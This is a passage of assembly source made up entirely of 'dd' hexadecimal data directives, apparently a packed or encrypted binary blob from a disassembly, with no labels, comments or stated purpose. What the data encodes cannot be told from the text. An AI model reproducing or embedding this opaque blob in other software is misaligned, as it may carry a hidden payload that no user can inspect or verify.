		dd 905C1E78h, 2179FC07h, 0BC047290h, 80E003E7h,	68AD123h
		dd 8A020788h, 47880146h, 205C501h, 0E30856DCh, 0C78BC659h
		dd 58CC675Ch, 5A498Dh, 9C25DD2Bh, 2027101h, 5ED6A6D1h
		dd 462E2390h, 19475A21h, 3FDE8C3Ah, 4C065F5Ch, 0E74403B9h
		dd 79349E3Ch, 1CE7242Ch, 8E448B80h, 2E4489E4h, 7907E48Fh
		dd 0ECE7E8E8h, 0F079EC9Eh, 9EF4E7F0h, 0F8F879F4h, 0FC99FCE7h
		dd 0F68D548Bh, 0F0030081h, 6C7CF803h, 0F0FF5A8Bh, 7903802Eh
		dd 0E3E8A08Ch, 625F5E31h, 9DD39075h, 0F9F30BE9h, 0AFA311F7h
		dd 0BA0A6B0Dh, 9C8D8D2Bh, 7C13675Ah, 0E77FFC39h, 0FD0D7024h
		dd 76FCE3B1h, 77506777h, 71D9F742h, 6D23B065h, 3E8F6AEFh
		dd 1D2B3AF9h, 2CBA2308h, 0B189017h, 7B03382Eh, 36D8960h
		dd 2E6F3A9Ch, 5A584E03h, 0B63B564Fh, 1F3F97DDh,	0EE8BA35Bh
		dd 0B4EF1C02h, 2D29EF63h, 24EF2790h, 0EE8BAB5Bh, 0AEEF16ABh
		dd 5A104593h, 0F15BE767h, 0BC7F72B4h, 9EC403E7h, 0DCD479CCh
		dd 0F79EE4E7h, 0E51C67B9h, 1807CF1Ch, 0F314183Ch, 3C10CF14h
		dd 0CF30C10h, 83C08CFh,	7E04F204h, 2E1F5E97h, 185C0510h
		dd 3CF32803h, 0B7B78BD6h, 876FB53Dh, 83BF0F76h,	0B797133Eh
		dd 0AD4B6DB4h, 188B233Fh, 0BC07F9C4h, 0A8062D3h, 0F947201Bh
		dd 10311533h, 43EED401h, 0CDEAD309h, 0F9FDDB8Ah, 18162623h
		dd 0DC082802h, 0A3895138h, 921C6C85h, 568B2367h, 82C202EAh
		dd 0EA193475h, 3F67E259h, 0F9F53810h, 0B1FFC121h, 0D8BD3CD1h
		dd 0BFE3CF3Ch, 44F8AA0h, 0E1805F0Ch, 2D8CCE82h,	0CE80060Bh
		dd 81383876h, 80A67E41h, 0C34E9A18h, 0B50C4713h, 19C96B4h
		dd 67485C0Eh, 1B6180Fh,	0C947C841h, 0C4CE74D3h,	20181023h
		dd 99A2C709h, 711F02A6h, 8191046h, 0A53A9557h, 0C5CE63D0h
		dd 0C91DC6A2h, 0C55DCF5Dh, 5F43CF5Fh, 8A2CC1E8h, 0AF650450h
		dd 0C19ED373h, 0F86583h, 83169526h, 8B166E7Dh, 1773CACFh
		dd 63622631h, 0A4304804h, 503408Ah, 16740A3Ch, 776433FFh
		dd 4F0C420Dh, 0C550B301h, 61C6002Fh, 0F0A05D7h,	0AB792B81h
		dd 0D9511019h, 75D8347Dh, 950D873Ah, 3B595C80h,	0AD1575C1h
		dd 0D89C2D1h, 17135C1Fh, 6D183117h, 1A173CF8h, 0CE2E5043h
		dd 214CDC17h, 0B988558Bh, 4CDC6255h, 740D3719h,	0F85C809Ch
		dd 0D231853Ah, 3F1B8E74h, 40C0400h, 0FB2402EBh,	8ED0884Eh
		dd 59DCD9F9h, 2C7687D6h, 0EEE10989h, 0FEE00CBh,	3C008A08h
		dd 0E2AE6872h, 190D3C0Ch, 47B5C6A2h, 72A04D33h,	6349DD16h
		dd 18976839h, 0E2402821h, 0C08306A3h, 5EEB0208h, 0D0717C6h
		dd 0EB174447h, 2B9ECB73h, 0DA33FC8Bh, 0F94EA921h, 0C9F30AD0h
		dd 22814709h, 417400F4h, 1F2CD80Fh, 2D8A132Ch, 70171FB9h
		dd 470B8B46h, 31448801h, 3B29EB05h, 0B754730h, 0FF7D8016h
		dd 16052C63h, 18EB0A16h, 0FF6A184Dh, 1A1A13F3h,	74391974h
		dd 0BF77CF04h, 6763927Bh, 10EBC447h, 0CD745DE5h, 929E06F3h
		dd 6B898E4h, 8C462B59h,	43B08664h, 0A135DE1Ah, 6054A574h
		dd 68D0FF1Ch, 68E204Bh,	1B701068h, 68050B52h, 470E0Ch
		dd 2A900D53h, 8E3C05CCh, 7B6C173Ah, 128B98h, 357590Eh
		dd 3D390624h, 11581CA8h, 1575A1C1h, 58F37640h, 70F53CE6h
		dd 53000C86h, 245C8B11h, 383DCF8Ch, 0D71D887Bh,	3C751465h
		dd 81E52F69h, 3991B22h,	0FC718D56h, 0CE2663Bh, 1895F959h
		dd 3B51044Dh, 0ED73C5A0h, 2C682D5Eh, 40241D92h,	34685959h
		dd 307710B4h, 5BDB8502h, 0D9444E75h, 8F86DB69h,	5F233879h
		dd 0C53BC5B4h, 0AC0D73B9h, 6D9C657h, 0C1C351C6h, 555344F2h
		dd 0E7E27E8Ch, 6D88F01h, 8E59F08Bh, 1B6A2014h, 358962D8h
		dd 375CEADAh, 0C520E37Bh, 29A7868Dh, 1A7304A0h,	0E386880h
		dd 46C6FF1Bh, 23A116C5h, 82D509Ch, 0EB011B05h, 24448DE2h
		dd 0F250F468h, 42F5E366h, 0C54C6300h, 445C62D4h, 3A0B7BCEh
		dd 8D3000B9h, 0B80468h,	0D84AB408h, 7C2C2E55h, 39467602h
		dd 527DC173h, 4C7764BFh, 0A31C738Fh, 7F835E38h,	8D078905h
		dd 0C17EB388h, 60808561h, 8E087E73h, 0B98B3640h, 8108C005h
		dd 0E47CB3C1h, 0BC042618h, 0BB7C0549h, 0B58B06EBh, 36AA0E09h
		dd 461D467Eh, 8A368163h, 1E98004Dh, 2E743301h, 7963A623h
		dd 11EB4CA5h, 40CD1E90h, 3EFEB69Ah, 5C899098h, 2882F08h
		dd 45470448h, 8760C383h, 2FBA7CFEh, 0ECDB33h, 8DFFD83Ch
		dd 7526D834h, 58704Dh, 0A7816C04h, 58F66A0Bh, 0C30C88EBh
		dd 0C05BD848h, 4858B9F5h, 83F88BE0h, 1773B0FFh,	9066B557h
		dd 894A680Ch, 28A3E58h,	4E0BB8CEh, 0BBEB4004h, 0CF03F808h
		dd 80B0A1Dh, 800504EBh,	0FB834380h, 9B2D7C03h, 36B8B8FFh
		dd 0A7C3F444h, 5D625B5Dh, 0BEC46344h, 0BFB47C36h, 60E00A51h
		dd 9C590026h, 0FE5B81C7h, 6CE534EFh, 3B4D5376h,	16D3AC2Ch
		dd 0C18B7373h, 0F9C1F008h, 3C3A8934h, 0C20F888Dh, 62043177h
		dd 42D05600h, 2D96E933h, 17DC0C88h, 3D4FEB37h, 34681834h
		dd 54C4B91Ch, 9265D8D1h, 0C0B6E45Dh, 728C3A8Ch,	3E0980F3h
		dd 20EB0271h, 6480078Bh, 8DFD7430h, 0FEE6CC8Eh,	69A068F5h
		dd 58B856C1h, 7772B890h, 48B3BEAEh, 2E0952Ch, 78AFCh, 1A74613Ch
		dd 0F74723Ch, 87773C21h, 0C012249h, 0C96301B9h,	23A2EEBh
		dd 8EB01CEh, 5CB409B9h,	5A02CE23h, 608A5A08h, 0C33A4784h
		dd 0F1E340D8h, 6E46D33Bh, 0C0BE0FC2h, 7F54C2C2h, 83603EC0h
		dd 742C2BE8h, 194C0445h, 0E04E0E2h, 48581C74h, 71AC4Ch
		dd 8616739h, 75CCA31Eh,	8305FC74h, 0B7EB20C9h, 0E98E14B3h
		dd 0C8A2D7C6h, 7D36C510h, 35910996h, 754C8698h,	0FE08C473h
		dd 82FC37C5h, 0CE81020Fh, 0EB17F42Eh, 66D6B882h, 75C80244h
		dd 0B8C80B59h, 0B0CB1A0Ch, 36746265h, 70484848h, 58740B07h
		dd 21060412h, 71914075h, 803BDD81h, 1E6D40CDh, 75F863C1h
		dd 6EA5F2Eh, 0BFFFE681h, 0B31607CEh, 2CCEA817h,	0ED064000h
		dd 743AE516h, 0DBD2CC62h, 80418E0Bh, 8DA468C6h,	23182B4Eh
		dd 2634C2FAh, 0B88ECE64h, 0E67DCB22h, 0D6631A5Bh, 5C1A1814h
		dd 709924CBh, 458E581h,	4621889h, 1C02C108h, 55834889h
		dd 5D158B63h, 33DAB8FCh, 5A83EDh, 57D53BC0h, 8B205D7Eh
		dd 0FB56D11Dh, 0CD3B02B0h, 0F6157409h, 0A901841h, 2F4047h
		dd 0EC7CC23Bh, 0D8B3FEBh, 24EB8334h, 206AB080h,	8D02E7C1h
		dd 59C9B279h, 0F415736h, 73C8EB0h, 74FD2B3Bh, 3BF705FDh
		dd 4EEFCDF5h, 6E899C85h, 7B6E758Bh, 2C766E16h, 1C63042Eh
		dd 8CA72626h, 8E0D1C3h,	16C17566h, 0B40F7557h, 0E849F949h
		dd 8B0762CFh
		dd 5AE30EE8h, 0BB6C530Eh, 0DCBA8659h, 81336515h, 870FE01Dh
		dd 0A00F3BC0h, 8BDF2418h, 2680E866h, 8C3DDCEDh,	7090F818h
		dd 59447773h, 1AE2C756h, 6786EA2Ch, 2BC104CBh, 55C53122h
		dd 0AE9C3528h, 8B65F02Bh, 4814FC43h, 0C430C63Bh, 536450C6h
		dd 1B1134E2h, 0A2530D8h, 63DF59E5h, 79DE80EAh, 5EA288C9h
		dd 0C20F2EC4h, 2D56F0D6h, 0B95C67F2h, 4145E746h, 1FEB2FF4h
		dd 0B853C53Fh, 75FC5840h, 3D831D0Dh, 8BDCD5C0h,	429C14DBh
		dd 0E4AEDF36h, 0FF1D8513h, 991C63F8h, 1FB37C0Eh, 868B893Ch
		dd 0E5501F6Fh, 5382FCA0h, 0DEC309E8h, 67607B91h, 4C3A0DCAh
		dd 1D90F054h, 0ABDAACCAh, 0E004834Dh, 0E32F2277h, 0B9F61D08h
		dd 0DB571631h, 13107417h, 758973DDh, 66599FDEh,	0B933E2Fh
		dd 891ACE2Bh, 7305FA1Ch, 11389C73h, 0DA6850E8h,	940F0CEAh
		dd 6800E7C0h, 0B4A339B8h, 0D1329925h, 0D9CBA1B6h, 648F363Ah
		dd 51A76D7Ah, 5D05323h,	0DB381D39h, 2D15E915h, 0FD8C4676h
		dd 437A3C39h, 6C3D0BC0h, 0A58D9B0Eh, 4EED681Bh,	0FF5B7804h
		dd 0D7FF2C36h, 6A95B908h, 2DFF0A6Ch, 65890476h,	149A82D5h
		dd 48D83B43h, 3199CE7Ch, 0BB3C15C7h, 4B789F1Dh,	33743E4Dh
		dd 0B46AED68h, 2A3C3301h, 13742060h, 68A54C3h, 0A6612932h
		dd 66933D3Ch, 3701FE3Ah, 748D59EBh, 0E84E9806h,	0BD37D5ACh
		dd 50210D04h, 433BEBA8h, 8818E1F3h, 0F1C787EAh,	74AFCE09h
		dd 1F380241h, 57553974h, 907039DAh, 0B03F8045h,	0B6552249h
		dd 0C33B3134h, 2E06148Bh, 3F935771h, 0B4FB3642h, 3591688h
		dd 750537FDh, 0B4FF5DC9h, 89E6F084h, 2C0BB41Dh,	0CCCB1E89h
		dd 7B643813h, 0E6AF601h, 0BE62BD75h, 682BE4ACh,	6199E82Eh
		dd 0A166E353h, 0A2E3EC0Eh, 0FE8BC198h, 0C4261838h, 0F8B58569h
		dd 0FC038D50h, 62A5A493h, 0DF462F20h, 885AD8DCh, 16AF93D4h
		dd 0A179D618h, 2FA9F308h, 0B2427CFh, 35565086h,	0D7B9FC51h
		dd 3D600348h, 0A39CC25Ah, 0CE06E87Ch, 4C9C9837h, 142BE2A6h
		dd 218301ABh, 0D9758B00h, 255A8DC7h, 0ED081988h, 37ED8C26h
		dd 7D8932E2h, 22008D2Ch, 508A4475h, 804001h, 297422FAh
		dd 2574D284h, 0D2B60F01h, 792182F6h, 0E75683A6h, 3001FF18h
		dd 58A066Fh, 46168810h,	0D50BB340h, 6DCEEBB1h, 58E6590Ch
		dd 40B446B9h, 43EB1CE1h, 0B605116Ch, 4004E21Eh,	0F6DA44C1h
		dd 19E0F483h, 5C1E8818h, 86206546h, 9657975h, 75090860h
		dd 0C7C4E4CCh, 0B11C3348h, 6FF664Ah, 18167Ch, 1E67634Eh
		dd 2B44E7E0h, 27A20545h, 76432603h, 0E8C87B17h,	55568BBCh
		dd 86022B3Dh, 852C081Dh, 755C22E0h, 43400B04h, 4092F7EBh
		dd 1C3F62Ch, 0EB25752Ah, 0D006DA2h, 22017880h, 81E3B38Dh
		dd 0EBC28B1Dh, 56A99603h, 88D28DB8h, 1CC21818h,	5C689C2h
		dd 0D31BC2D1h, 2D570C4Bh, 288430Eh, 465C06C6h, 754BB1C1h
		dd 0A78067F3h, 3F834A8Bh, 0A750005h, 0C63F8AA3h, 0F94E3A74h
		dd 28F22DACh, 4FE2DE19h, 1B2F1F06h, 79400F13h, 1157703h
		dd 21424A2Bh, 73306A1Bh, 200EC50Fh, 3C7C2E9h, 8E722783h
		dd 86E9BB14h, 0C1C35DFBh, 77B0A149h, 796CEC5Ah,	4C2C807Ah
		dd 1BF3DB56h, 16A8FF33h, 0D5360475h, 630B4C0Eh,	213AE074h
		dd 0EB36ED74h, 7C3D5828h, 0FB3B4730h, 0F7EA1798h, 0BC02C71Bh
		dd 4EC7225Eh, 15B60133h, 0C57DA481h, 3FE70C43h,	15C21E27h
		dd 9C1E3966h, 402CEB1Ah, 18170840h, 8206F975h, 30C62BF2h
		dd 0E160782Fh, 8EB1F8D1h, 0CE026440h, 8933035Dh, 9B341141h
		dd 3B0235D4h, 373274EBh, 13852532h, 1C882374h, 24EA9C55h
		dd 219425BBh, 0EF47BE3Bh, 5C44279Bh, 3799706h, 749E6356h
		dd 53EBC3A0h, 4C2C2497h, 0B185E7A5h, 8C3C7470h,	0AE49CC60h
		dd 7B3858B6h, 0B04B4FBh, 40C72BF6h, 0CD66386Ah,	0CE509B95h
		dd 0F6791869h, 550BEB12h, 0C1CCD2B4h, 7CA631AEh, 0BACC703Dh
		dd 8369BA76h, 43234A9Dh, 11D42AD1h, 36FC6821h, 4E2309DEh
		dd 12CCB4A1h, 5A173C59h, 598C15FFh, 9743F61Bh, 82440A6h
		dd 73007D61h, 0D78D3BC5h, 417F610Bh, 126C5A3Dh,	4DB2F17Ch
		dd 5A3B6598h, 47581A96h, 0A901731Ch, 0E845636Ch, 0D7E70DEh
		dd 0C5D710E3h, 75A7FA81h, 1AF11E0Bh, 0BA5C858Dh, 91E956BCh
		dd 1E7F491h, 17139730h,	0AD6408C6h, 976DA3C1h, 0B0921259h
		dd 0F45CBDFCh, 0A540A86Ch, 763C5C82h, 5019F129h, 0F82FBB9Eh
		dd 8D83130Dh, 3036A02h,	4159CFF8h, 533C573Ch, 1A384ADBh
		dd 68FF7060h, 55635AE8h, 5716109Fh, 1D0BCB3Ah, 10EEE4E7h
		dd 4B6FF0Bh, 7C343FD3h,	10681611h, 277EA920h, 3C2CBC7Eh
		dd 2C095946h, 1826EB5Fh, 30B68D54h, 369513A3h, 880882E7h
		dd 1936F46Ah, 3D95050h,	6871985Eh, 5FED405Dh, 70CF9589h
		dd 0ADC0643Ch, 7A342583h, 6C700E2h, 67C34A38h, 8D0D30A3h
		dd 3D7A280Eh, 0C89D0110h, 958D1918h, 4C6CB68Ch,	61A83C7h
		dd 30548B14h, 4C502B0Dh, 6BAD580Ch, 8A077209h, 0F7CB149Ch
		dd 0E0DB24FAh, 0C551C84h, 0A6B1B28Eh, 6212B241h, 0CC571BDh
		dd 0C207605Ah, 0C10057FCh, 0CE8B0FEEh, 11FC7A8Bh, 0C904C969h
		dd 51584B09h, 18C178Dh,	89009944h, 4D89F45Dh, 0C608BF0h
		dd 980162C6h, 7F107524h, 0ADC0F9C1h, 895F493Fh,	0CF768391h
		dd 4B340376h, 4134C0Bh,	804033Bh, 56464875h, 20F98301h
		dd 70BF1C73h, 0EFD3809Ah, 14C8D00h, 21D7F704h, 44B0197Ch
		dd 2B8A8BFEh, 39218075h, 0C18324EBh, 7B1EE05Fh,	0BC21F12Dh
		dd 794997B0h, 79D00624h, 3151BA04h, 55627C69h, 40AD989h
		dd 0C0308E2h, 8792E2Ch,	0FB8B008Ch, 4F04FFC1h, 3F59FF83h
		dd 5F86C57Bh, 0E183F871h, 61EC9773h, 0C100A06Ah, 77FC552Bh
		dd 0C068A111h, 5A49F89Eh, 0A6CA5C3Bh, 89052E76h, 41CA59F3h
		dd 0DDFB1BC5h, 3B043E40h, 483176FAh, 74BF61FAh,	5041A66Bh
		dd 513BA161h, 0BA3BBD6Fh, 0D20EEA3Bh, 11E35421h, 0BDEE1EB7h
		dd 941721A7h, 9D51B3BDh, 49BF3852h, 784ABEB1h, 8E3040Bh
		dd 91E6119Ch, 0B1EC0362h, 5D130913h, 893DEE26h,	0C5F01DC4h
		dd 29A9F9B2h, 26CB0BD3h, 0EB82F89h, 8B41BB89h, 0E3B05h
		dd 4C8A6375h, 0EFB00407h, 4D058820h, 88C1FE0Fh,	25730BC0h
		dd 0B00F7D80h, 0B4BB0E46h, 0CF8B0B88h, 8B76EBD3h, 580D1909h
		dd 0B1B0448Dh, 0EB2D1809h, 12A62429h, 19E04F16h, 590B25DFh
		dd 7E2D0F04h, 0D8848D42h, 4E3809B7h, 450C548Bh,	0C01A89F0h
		dd 0FFFC1381h, 0FA489808h, 7669A1F3h, 0DF3AAC47h, 762C0D14h
		dd 10C73478h, 0C20FE1C1h, 9DBB0C78h, 0CCF8DBCh,	0C8CF5153h
		dd 0AF329D1Fh, 5009851Ch, 390EB708h, 0FE6140E4h, 6C6788A4h
		dd 0FC25357h, 0F14348FEh, 0AC0C480Ah, 13437927h, 4608305h
		dd 8311B0FEh, 0FF1A0878h, 5FE26C75h, 5ACE0C70h,	4209DC12h
		dd 9BA2F610h, 158B1BF4h, 19CB6AF2h, 5BCB2C92h, 2B1328C8h
		dd 110092C8h, 488D51ECh, 8A514614h, 33DB3D86h, 0FF0138B2h
		dd 1E2FB40Dh, 9934053Bh, 140A1835h, 0E23C96B1h,	4C340D89h
		dd 8E5EB60h, 891AA1A3h,	6AC6935h, 0CE2A9B3Dh, 2FCFF666h
		dd 8D570568h, 7B06823Ch, 176C61DCh, 17F04776h, 496E6A4Eh
		dd 0E7D0034h, 0D3FFCE83h, 0ED9883EEh, 0A4C380FFh, 267610EBh
		dd 8898F719h, 0EE85DD3h, 0A116DDA3h, 0D88B8169h, 7FB0DF3Bh
		dd 19137308h, 0BE14B8Bh, 12B233Bh, 0CF0BFE23h, 0C33B5875h
		dd 9A3B1436h, 0E7721878h
		dd 797507B8h, 3BDA8B0Bh, 154726D8h, 0EBE205D9h,	7519C2E6h
		dd 7324E059h, 407B8311h, 138C6708h, 5AEB29BCh, 263A37EDh
		dd 6E1B0D8Bh, 27EECF2Fh, 2B16080Eh, 851E7B3Eh, 147430DBh
		dd 0EF2B63E1h, 0EE5B6759h, 438B0105h, 0FF38A884h, 2B02440Fh
		dd 0DB1D8939h, 8B148BA5h, 0C7FA1616h, 84814A6Ch, 0D3908C7Fh
		dd 908061B6h, 17886A44h, 8B128B37h, 551C1170h, 6583DDE1h
		dd 0E60BE59h, 58D60B44h, 0B750B8Bh, 84918B17h, 8767B21Ch
		dd 8A60A11Ch, 223FE8Bh,	74D70B39h, 97388BE9h, 0FF6733CAh
		dd 58A8915Ch, 4C76D84Dh, 0CCE57B9h, 6A66FC0Fh, 5F64205Ch
		dd 7CC98500h, 47E1D105h, 8BF72EEBh, 0F9542C20h,	2B0A3343h
		dd 0C0F1997Fh, 4FEC17Bh, 0FE11834Eh, 0F8C37E3Fh, 61F73B5Eh
		dd 0ED010D9Bh, 386124E2h, 8D2B7D20h, 4018E911h,	589C8C38h
		dd 5ECF3D3h, 44885C23h,	0FE03C389h, 0EA74750Fh,	0EC026606h
		dd 31EB0B21h, 2B3B173Dh, 0A16D9572h, 192132C2h,	593629CFh
		dd 0C92CFA98h, 0A22DE85h, 707AC0DCh, 0CD00F804h, 19AF3795h
		dd 90DC087Ah, 943D84h, 0F9CEA9EAh, 0A50C2C42h, 0C2D722E6h
		dd 671649Ch, 7D0BE1FEh,	0B0C41929h, 5D000B99h, 62CD1188h
		dd 77668AB6h, 3B098CC2h, 8FF10AD6h, 0AE617C09h,	286F2FEBh
		dd 4E8D0D08h, 916B6D4h,	8BB1047Bh, 166FADBCh, 0EE0CBE3Bh
		dd 6AE93709h, 8911AF0Eh, 38B890Ah, 79A3B2FCh, 3F07582h
		dd 122C5D1h, 0FC3212A1h, 0E8B9F38h, 798D21B0h, 753E0FB0h
		dd 1D3B1A1Bh, 127542F2h, 6D3B4BE4h, 0BE0632A4h,	8911F26Bh
		dd 6042BA18h, 6C1EDB04h, 287A0D02h, 0A1FF5698h,	8D308C84h
		dd 73504DC4h, 9A0D5072h, 66F5792h, 954D6564h, 6D9CE588h
		dd 3C3DF9C0h, 41C468E1h, 847E50Eh, 10307C45h, 0F381348Dh
		dd 183395EBh, 2A1974DAh, 4E8A046Ah, 0C61E3C20h,	19842FB1h
		dd 0E750C8Ah, 6D64EB4Dh, 0FCCD24FCh, 0CE4E7C8Ch, 8902C524h
		dd 5FF047Eh, 419562DBh,	0C68B0A61h, 6C29E591h, 8B2C57DFh
		dd 41681771h, 0C5643B64h, 43E04FE3h, 3786C3CDh,	81D1C069h
		dd 30FB985Ah, 0C26282DBh, 0C508404Fh, 0BF310402h, 0FB1E394Ah
		dd 0E7C18561h, 4979DF98h, 1A00A60Ch, 0C68B7EA1h, 36083484h
		dd 0E52C0A08h, 1418978Dh, 5428600h, 478D3C77h, 0C2487788h
		dd 198883F2h, 8DF4387Eh, 6FC5C88h, 0FC401EC7h, 8542BBF0h
		dd 80FFEF0Eh, 0C70448A5h, 10BBE880h, 0D30514A2h, 0F02C6256h
		dd 61769618h, 4F8DC3C7h, 82E050Ch, 26359EC1h, 8DAC8958h
		dd 20774A52h, 648F3808h, 42449E2Ch, 0E39EBC26h,	43468A80h
		dd 0BD8C88Ah, 7AC06784h, 434E8800h, 78090375h, 0C5660456h
		dd 6865CB8Bh, 6A677E76h, 72B423D8h, 0A043DC1Dh,	223622h
		dd 708DD78Bh, 0C512B17h, 8251EBC6h, 0FEAC1EEh, 826A8433h
		dd 49FC4FC1h, 2C5C1D3Bh, 0D339547Bh, 17922C74h,	1C5F8E0Fh
		dd 87069541h, 8014F0Bh,	130D903h, 172458Fh, 0F0475B1Eh
		dd 898D3F23h, 4E8B0676h, 8B8D0759h, 5FE38E5Fh, 3BA24831h
		dd 9853351Fh, 611CDBF8h, 8D905C4Ch, 6E19673Eh, 639CAC21h
		dd 59D13E90h, 0E5084FC2h, 8A78952h, 0A47F1102h,	189F2C64h
		dd 0CD01CE2Bh, 0E1810CE9h, 0CE00AA9Bh, 18E743DBh, 44C9EE0Ch
		dd 0D4FC3114h, 31C8AC0Ch, 0E29C1C8Dh, 3F5B5BCBh, 59C0873h
		dd 0E745CE3Fh, 81E050Bh, 750E3B58h, 594E5C63h, 0C721F913h
		dd 0E5995613h, 0C165B8CBh, 6D25EBCFh, 714A0D20h, 0CCB96D84h
		dd 9127C16h, 4B5C104Bh,	32440E46h, 0DE9B7873h, 11114E86h
		dd 718C468Dh, 323C5842h, 2F20E2C8h, 46DB6D8h, 8D0FDB2Fh
		dd 5D51D03Ah, 59295D0Ch, 614BA3B9h, 1D335C36h, 12B3CEA4h
		dd 109EE846h, 0D7EC318Ch, 2AF66C5Eh, 68858AB9h,	0FC5775F7h
		dd 9776CE04h, 2D3B2621h, 0FE51C468h, 681E7AC7h,	99EB40E6h
		dd 0F796AE8h, 8B28750Eh, 792D6221h, 613314Bh, 76E57676h
		dd 8E7779A3h, 3977CE71h, 38EC571h, 589728Bh, 0B8D1753Eh
		dd 589A7BEDh, 4B276A5Ah, 5082E70h, 614B3B26h, 34EDF6D1h
		dd 61064DB0h, 0E28D0F9Eh, 39133FEBh, 0D1CE7161h, 0E535D20Fh
		dd 792621BAh, 0BC4EB361h, 3209845h, 6A184B98h, 32E26DFCh
		dd 44BD47F5h, 3D3BC771h, 8663B253h, 155DDB00h, 0F27E1AF7h
		dd 1DF78630h, 74635769h, 50F8233Ch, 25B6A16h, 8B557116h
		dd 0E3030760h, 6600631Eh, 2F1FC516h, 86352B1Ch,	4F8815B7h
		dd 61244EC6h, 1DED4C8Bh, 58896F65h, 11C59h, 74ED8504h
		dd 158F5509h, 28E41513h, 7DD50A6Fh, 82B29103h, 1940A31Dh
		dd 70E19A19h, 66040CA9h, 0C668105h, 3A91FBF7h, 16895F63h
		dd 446102Bh, 570A7E1Fh,	568CAF0Fh, 8B278181h, 570D77DEh
		dd 3D0DA4C2h, 0CC2A770Ah, 3BE9B4CDh, 0D340530Dh, 56736215h
		dd 0E4AF6EB2h, 72275E2h, 0B019CEA3h, 4BEB1474h,	0CC3A6EB9h
		dd 2FED4124h, 0C079255Bh, 6C5F43F8h, 10070BDBh,	0C8D35998h
		dd 74A8E031h, 0C49830Dh, 41C7080Ch, 0EB175C5Ah,	0AB580C11h
		dd 18145D41h, 483B12E9h, 61837838h, 1E8C680h, 6C24918Dh
		dd 3617290h, 0C2308398h, 86D11FE0h, 8D0C8B92h, 448A028Fh
		dd 10C204C1h, 58D0C340h, 0B185D233h, 2798B8DCh,	20627154h
		dd 6C42945Ch, 54A3153Dh, 13055BA3h, 4821D72h, 78187724h
		dd 34F70D4Dh, 9CD50405h, 10A32ACBh, 0F981C341h,	728B844Bh
		dd 0CA1E0712h, 0F10825F8h, 0AD090A76h, 228CDE75h, 1B633D73h
		dd 1FE2A1D0h, 1E318B7Dh, 5025E2D1h, 8C3EF26Bh, 50F8F648h
		dd 7BDD6912h, 57A45CD3h, 33DCC4C0h, 68B9EFB1h, 15C8B48h
		dd 8D323727h, 0C2A96890h, 0F61C730Bh, 5975740h,	0F1EB10CDh
		dd 12BA5E3h, 0DA069965h, 5454D968h, 474C232Ch, 0B52059C9h
		dd 0C57C94D0h, 0BE43EB16h, 9A568C35h, 0DB338FF9h, 6D296Ch
		dd 56CF54DAh, 6F142A56h, 5D112E00h, 0EBD60308h,	8ABD65E8h
		dd 5C0DDF59h, 562FEBBAh, 735706ECh, 0D8094D52h,	31583C83h
		dd 8DD33683h, 69A9ACAh,	0E8831E75h, 48101CC0h, 481B0874h
		dd 5151375h, 8C08EBF4h,	0C5CEF504h, 5F62604h, 98B903Ch
		dd 301C8907h, 0EA5B088Dh, 22C95BDDh, 0E20F3656h, 0A235576h
		dd 68D63C71h, 63D86907h, 7C583712h, 7D325F74h, 551F7516h
		dd 79C82B16h, 0E3494938h, 0A350A350h, 1183B850h, 0EEFF300Ch
		dd 8DDC5E57h, 0F666FC1Ch, 48D01F0h, 2364C14Ah, 0E93E04CEh
		dd 1C103B0Fh, 931853E8h, 0C1F60056h, 45C75780h,	1BBB0CE4h
		dd 19E88C31h, 1B0D2CD5h, 1FF45C6h, 65800B03h, 3A3226FFh
		dd 0D1B829ECh, 110D301Ch, 40C536F6h, 5390722h, 0C03277D4h
		dd 80FF4DA5h, 0C164B06Ah, 0C623025Eh, 2D74C32Bh, 0C6214662h
		dd 80DC1502h, 781D8925h, 0BC5936BDh, 0F7DC2546h, 8105ECDh
		dd 7EB400Fh, 0E0E8808Ch, 2C4A9BCEh, 201C0426h, 301C1874h
		dd 61E20A74h, 0F083B0BBh, 4549B0EBh, 355D8DF0h,	66F0CE39h
		dd 71CEA744h, 1A58F09Ah, 8E005C07h, 0CA23E004h,	73DBBFh
		dd 74357FC8h, 24CB3B2Eh, 0E0C62A74h, 5D5ACD1Dh,	0ECEA1916h
		dd 58569907h, 0AC8B6E46h, 477F6722h, 0F80E3767h, 5E2E8B04h
		dd 29EBF805h, 170522CEh, 3C071A74h, 0C5AA0906h,	0ACC70E2Dh
		dd 0F8178234h, 0A3002D18h, 936F814h, 68BE0C22h,	0C2CAC753h
		dd 0E0680D01h, 23D1F7D3h, 37144E4Dh, 30A19A8Dh,	5D810A33h
		dd 0F701FCEh, 58F601F6h, 3202CDC4h, 0DF31F70Bh,	0B0146D08h
		dd 0B1A80A06h, 0B6D0611h
		dd 636EA2A1h, 0FFCF0B38h, 0F6DF3B26h, 18CB9A5Eh, 633E4671h
		dd 0A2665698h, 0E42CF20Ch, 0F0410650h, 884D0365h, 97AB941Eh
		dd 8D8CF711h, 0A595F56h, 0F3561B75h, 53AD79A4h,	0CBCBC89Eh
		dd 2DDA466Ch, 0B19BAC6Dh, 6D8B0965h, 814A6ADh, 322B759Ah
		dd 7E672529h, 8BF30126h, 1E010CCBh, 4588081Fh, 0B022F40Bh
		dd 0D5480BF2h, 75049482h, 0BCE2378h, 4F8F674h, 266E7402h
		dd 0D5FF3A48h, 958948C9h, 81DC8C8Dh, 8317898Dh,	4D7405B4h
		dd 36853FEBh, 0B4880013h, 51060C13h, 56216B53h,	1C486365h
		dd 15C9F71Ah, 4B734142h, 9512650Ch, 9E981BE3h, 0C752D12h
		dd 0E02F050Dh, 30782759h, 0DC04E919h, 8547966h,	80072E61h
		dd 20D58C01h, 0A06B6C5Bh, 0D177BC62h, 6C5374FEh, 859D0492h
		dd 4E044FC4h, 636BCE8Eh, 6D4B17CCh, 0A48D6A03h,	237A4E24h
		dd 469BFF8Bh, 3183157h,	0B0FA368h, 8441018Ah, 0E3B1736h
		dd 60F17586h, 0FEFFBAB4h, 37EFE04h, 65C383D0h, 9639C233h
		dd 14AB0A9h, 0E8742B81h, 26FC17C9h, 0E484230Dh,	67A9168Dh
		dd 0E1738E3h, 1DC06206h, 8DCDEB02h, 0D9D7958h, 19FE04B1h
		dd 0FD04C6A9h, 2E048ACEh, 0C5F60FCh, 8A190E5Fh,	74D20111h
		dd 47178864h, 9EE627Ch,	178905EBh, 67DB7D19h, 0A3696E9Fh
		dd 0CB6B3ABAh, 34802FE1h, 2774F684h, 0CBC273F7h, 3F071269h
		dd 38C72C6Ah, 1708DDDCh, 866C35Fh, 0CE47C686h, 8B70CBEh
		dd 0DD078817h, 2F7E3FDFh, 401DDE14h, 1DB0544h, 323CE3FBh
